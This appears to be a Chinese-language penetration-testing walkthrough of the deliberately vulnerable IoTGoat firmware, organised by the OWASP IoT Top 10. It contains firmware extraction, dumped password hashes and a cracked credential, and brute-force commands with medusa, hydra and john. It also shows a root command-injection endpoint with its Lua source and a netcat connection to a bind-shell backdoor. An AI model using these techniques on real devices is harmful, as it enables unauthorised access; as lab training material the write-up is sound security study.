IOT安全修炼之路——IoTGoat靶场篇(二)
测试标准
参照2018版的OWASP物联网Top10来进行,具体如下:
| 2018 年 OWASP 物联网 Top 10 | 描述 |
|---|---|
| 弱密码、可猜测密码或硬编码密码 | 使用易于暴力破解的、公开可用的或不可更改的凭据,包括固件或客户端软件中的后门,这些后门授予对已部署系统的未授权访问权限。 |
| 不安全的网络服务 | 在设备本身上运行不需要或不安全的网络服务,尤其是那些暴露在互联网上的服务,这些服务会损害信息的机密性、完整性/真实性或可用性,或者允许未经授权的远程控制。 |
| 不安全的生态系统接口 | 设备外部生态系统中不安全的网络、后端 API、云或移动接口,允许危害设备或其相关组件。常见问题包括缺乏身份验证/授权、缺乏或弱加密以及缺乏输入和输出过滤。 |
| 缺乏安全更新机制 | 缺乏安全更新设备的能力。这包括在设备上缺乏固件验证、缺乏安全交付(在传输过程中未加密)、缺乏防回滚机制以及由于更新而缺乏安全更改通知。 |
| 使用不安全或过时的组件 | 使用已弃用或不安全的软件组件/库可能会导致设备受到威胁。这包括操作系统平台的不安全定制,以及使用来自受损供应链的第三方软件或硬件组件。 |
| 隐私保护不足 | 存储在设备或生态系统中的用户个人信息被不安全、不当或未经许可使用。 |
| 不安全的数据传输和存储 | 缺乏对生态系统内任何地方的敏感数据的加密或访问控制,包括静态、传输中或处理过程中。 |
| 缺乏设备管理 | 生产中部署的设备缺乏安全支持,包括资产管理、更新管理、安全退役、系统监控和响应功能。 |
| 不安全的默认设置 | 带有不安全默认设置或无法通过限制操作员修改配置来提高系统安全性的设备或系统。 |
| 缺乏物理硬化 | 缺乏物理加固措施,允许潜在的攻击者获取敏感信息,这有助于未来的远程攻击或对设备进行本地控制。 |
测试过程
弱密码、可猜测密码或硬编码密码
我们已经有.vmdk文件(从GITHUB上下载),.vmdk文件可能包含隐藏的信息或漏洞,需要通过分析和解密来获取有用的信息。

使用binwalk来对.vmdk文件进行提取:
sudo binwalk -Me --run-as=root IoTGoat-x86.vmdk

解包出来的 squashfs-root 文件夹就是该靶场的文件系统.

使用命令:tree squashfs-root查看该目录下的文件,发现存在shadow文件

查看shadow文件内容:

root:$1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1:18145:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
iotgoatuser:$1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah.:18145:0:99999:7:::
介绍一下shadow文件密码格式的各个参数的含义:
标准格式如下:
username:password:lastpasswordchange:minpasswordage:maxpasswordage:warnpasswordage:passwordinactive:accountexpirationdate:reserved
其中,各个字段的含义如下:
| 参数 | 含义 |
|---|---|
| username | 用户名 |
| password | 加密后的密码 |
| lastpasswordchange | 上次修改密码的时间(从1970年1月1日开始的天数) |
| minpasswordage | 密码最小使用时间(从上次修改密码开始的天数) |
| maxpasswordage | 密码最大使用时间(从上次修改密码开始的天数) |
| warnpasswordage | 提醒用户修改密码的时间(从上次修改密码开始的天数) |
| passwordinactive | 密码失效时间(从上次修改密码开始的天数) |
| accountexpirationdate | 账户失效时间(从1970年1月1日开始的天数) |
| reserved | 保留字段 |
加密的密码格式如下:
$id$salt$encrypted
在密码字段中,存在以下信息:
- $1$:表示加密算法为md5。
- $salt$:防止彩虹表的盐。
- $hashed:hash值。
其中,当id值为不同数字时,采用的加密方式不同:
| id值 | 加密方式 |
|---|---|
| 1 | md5 |
| 5 | SHA256 |
| 6 | SHA512 |
从shadow获取的两个账号密码加密方式为md5加密:
| 用户名 | 密码 |
|---|---|
| root | $1$Jl7H1VOG$Wgw2F/C.nLNTC.4pwDa4H1 |
| iotgoatuser | $1$79bz0K8z$Ii6Q/if83F1QodGmkb4Ah |
使用暴力破解的方式对其进行解密:
使用medusa进行ssh爆破:
命令:medusa -u iotgoatuser -P ./passdic.txt -h 10.251.251.131 -M ssh

最终爆破出账号密码:
User: iotgoatuser Password: 7ujMko0vizxv

或者使用hydra,hydra -l iotgoatuser -P ./passdic.txt ssh://10.251.251.131
或者使用john进行破解:
将解包获取的passwd以及shadow文件复制到kali里
unshadow ./passwd ./shadow > ./pass
然后准备字典文件进行爆破:
john ./pass --wordlist=./passdic.txt
用爆破出来的账号密码进行登录测试:

不安全的网络服务
使用nmap进行扫描,通过扫描目标主机的开放端口和服务信息,可以了解目标主机的网络拓扑和系统配置,发现可能存在的漏洞和攻击面。同时,nmap还可以进行服务指纹识别、操作系统识别、漏洞扫描等高级功能,帮助我们更深入地了解目标主机的情况。
使用nmap进行快速扫描:
nmap -F 10.251.251.131

5000端口开启了upnp协议,使用nmap深入扫描一下:
nmap -p5000 -sV 10.251.251.131

使用namp插件broadcast-upnp-info
nmap -sV --script=broadcast-upnp-info 10.251.251.131
broadcast-upnp-info是一个专门用于扫描UPnP设备的Nmap脚本。该脚本可以通过UPnP协议获取设备的详细信息,包括设备类型、制造商、型号、固件版本等。

找到http://10.251.251.131:5000/rootDesc.xml

rootDesc.xml是UPnP设备的描述文件之一,它是一个XML文档,包含了设备的基本信息、服务信息、设备类型、制造商、型号、固件版本等。UPnP设备通过提供rootDesc.xml文件来描述自己的功能和服务,使得其他设备和应用程序可以通过UPnP协议与其进行通信。
可以看到开启了以下的服务:
Layer3Forwarding服务:该服务是用于路由器的网络层转发功能,允许路由器将数据包从一个网络接口转发到另一个网络接口,以实现不同网络之间的通信。
DeviceProtection服务:该服务是用于设备保护的,可以提供设备的安全性和隐私保护。该服务可能包括设备身份验证、访问控制、加密和安全日志记录等功能。
其中,UPnP设备描述文档中的一个元素,它指定了 Layer3Forwarding 服务的控制 URL。控制URL是UPnP设备提供的用于控制服务的 HTTP URL,客户端可以通过该 URL 发送 SOAP 消息来调用服务的操作。在本例中,控制URL为/ctl/L3F,表示客户端可以通过向 http://设备IP地址/ctl/L3F 发送SOAP消息来控制 Layer3Forwarding 服务。
控制消息使用SOAP协议,也以xml表示,看起来和RPC类似(但没有任何身份验证),即通告SOAP来实现服务操作。因此一旦有人使用upnp协议访问,就可以通过控制URL发送SOAP消息来控制设备的服务操作。
不安全的生态系统接口
通过binwalk解包,发现文件:cmd.htm

查看该文件内容如下:
<%+header%>
<h2><a name="content">Secret Developer Diagnostics Page</a></h2>
<form id="console">
<fieldset class="cbi-section">
<legend>Execute commands or scripts as root.</legend>
<p>Press <b>Enter</b> to execute. Press <b>Shift+Enter</b> to start a new line.</p>
<p><textarea name="cmd" id="cmd" style="width:98%;height:4em;"></textarea></p>
<p>
<button class="cbi-button" onclick="return postcmd('ifconfig -a')">ifconfig -a</button>
<button class="cbi-button" onclick="return postcmd('cat /proc/meminfo')">meminfo</button>
<button class="cbi-button" onclick="return postcmd('uci show')">uci</button>
<button class="cbi-button" onclick="return postcmd('ps w')">ps</button>
<button class="cbi-button" onclick="return postcmd('cat /proc/mtd')">mtd</button>
<button class="cbi-button" onclick="return postcmd('block info')">block info</button>
<button class="cbi-button" onclick="return postcmd('mount')">mount</button>
<pre id="result" style="background-color:black;color:white;height:auto;min-height:200px;width:98%;"></pre>
</fieldset>
</form>
<script type="text/javascript">
function postcmd(cmd) {
(new XHR()).post("<%=luci.dispatcher.build_url("admin", "iotgoat", "webcmd")%>", {"cmd":cmd}, function(x) {
console.log(x.response)
console.log(x)
document.getElementById("result").innerHTML = x.response;
});
return false;
}
document.getElementById("cmd").addEventListener("keydown", function(e) {
if (!e) { var e = window.event; }
if (e.keyCode == 13 && !e.shiftKey) {
e.preventDefault();
var cmd = document.getElementById("cmd");
postcmd(cmd.value);
cmd.value = "";
return true;
}
}, false);
</script>
<%+footer%>
发现代码发现,登录后接口:admin/iotgoat/webcmd存在命令执行漏洞,通过cmd传参进行调用,验证如下:
使用说明文档给的web端的账号密码:root/iotgoathardcodedpassword登录WEBUI,然后拼接前面审计出来的路径:
https://10.251.251.131/cgi-bin/luci/admin/iotgoat/webcmd?cmd=id

使用命令sudo grep -rl cmd看看哪些文件包含cmd关键字

审计_IoTGoat-x86.vmdk.extracted/squashfs-root/usr/lib/lua/luci/controller/iotgoat/iotgoat.lua
文件内容如下:
module("luci.controller.iotgoat.iotgoat", package.seeall)
local http = require("luci.http")
function index()
entry({"admin", "iotgoat"}, firstchild(), "IoTGoat", 60).dependent=false
entry({"admin", "iotgoat", "cmdinject"}, template("iotgoat/cmd"), "", 1)
entry({"admin", "iotgoat", "cam"}, template("iotgoat/camera"), "Camera", 2)
entry({"admin", "iotgoat", "door"}, template("iotgoat/door"), "Doorlock", 3)
entry({"admin", "iotgoat", "webcmd"}, call("webcmd"))
end
function webcmd()
local cmd = http.formvalue("cmd")
if cmd then
local fp = io.popen(tostring(cmd).." 2>&1")
local result = fp:read("*a")
fp:close()
result = result:gsub("<", "<")
http.write(tostring(result))
else
http.write_json(http.formvalue())
end
end
发现了4个接口:
admin/iotgoat/cmdinject
admin/iotgoat/cam
admin/iotgoat/door
admin/iotgoat/webcmd
- admin/iotgoat/cmdinject 接口

可以执行命令:

看一下启用了哪些网络服务
netstat -atnp

5515端口起了一个shellback的服务
ps |grep shellback

分析一下shellback文件:

拖入IDA分析:

创建了一个socket后门,监听5515端口,使用NC即可连接该后门:
nc -v 10.251.251.131 5515


浙公网安备 33010602011771号